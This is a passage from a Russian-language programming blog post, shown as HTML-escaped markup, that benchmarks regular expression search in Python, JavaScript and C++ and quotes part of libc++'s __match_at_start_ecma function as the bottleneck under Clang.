&lt;pre class="code python literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;re&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;timeit&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;body&amp;gt;asdasd&amp;lt;/body&amp;gt;'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;body[^&amp;gt;]*&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;И на JavaScript:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;body&amp;gt;asdasd&amp;lt;/body&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;RegExp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;body[^&amp;gt;]*&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'test'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;find_position_re&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;regex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;timeEnd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'test'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Тестовое приложение на Node.js оказалось в 3, а на Python в 31 раз быстрее, чем на Visual Studio 2013.&lt;/p&gt;
&lt;img alt="" src="https://artem.krylysov.com/images/cpp-regex/regex_test.png" style="width: 585px; height: 331px;" /&gt;
&lt;p&gt;Clang меня абсолютно разочаровал результатом. Немного покрутив флаги компилятора, я понял, что дело совсем не в них. Я запустил профайлер, чтобы найти узкое место. Им оказалась функция &lt;span class="docutils literal"&gt;__match_at_start_ecma&lt;/span&gt;, которая вызывалась на каждую итерацию поиска:&lt;/p&gt;
&lt;pre class="code c++ literal-block"&gt;&lt;code&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_CharT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_Traits&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="k"&gt;template&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_Allocator&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;basic_regex&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;_CharT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_Traits&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;__match_at_start_ecma&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_CharT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_CharT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__last&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;match_results&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_CharT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_Allocator&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;regex_constants&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;match_flag_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__at_first&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;__node&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__st&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__start_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__st&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__state&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__do_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__first_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__first&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__current_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__first&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__last_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__last&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__sub_matches_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mark_count&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__loop_data_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__loop_count&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__node_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__st&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__flags_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;__at_first_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__at_first&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__states&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__node_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__node_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;__exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__do_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;__end_state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__matches_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__first&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__matches_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_VSTD&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__current_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__first&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;__m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__matches_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;matched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__sub_matches_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;__i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                    &lt;/span&gt;&lt;span class="n"&gt;__m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__matches_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;__i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__sub_matches_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;__i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;__accept_and_consume&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;__repeat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;__state&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;__accept_but_not_consume&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
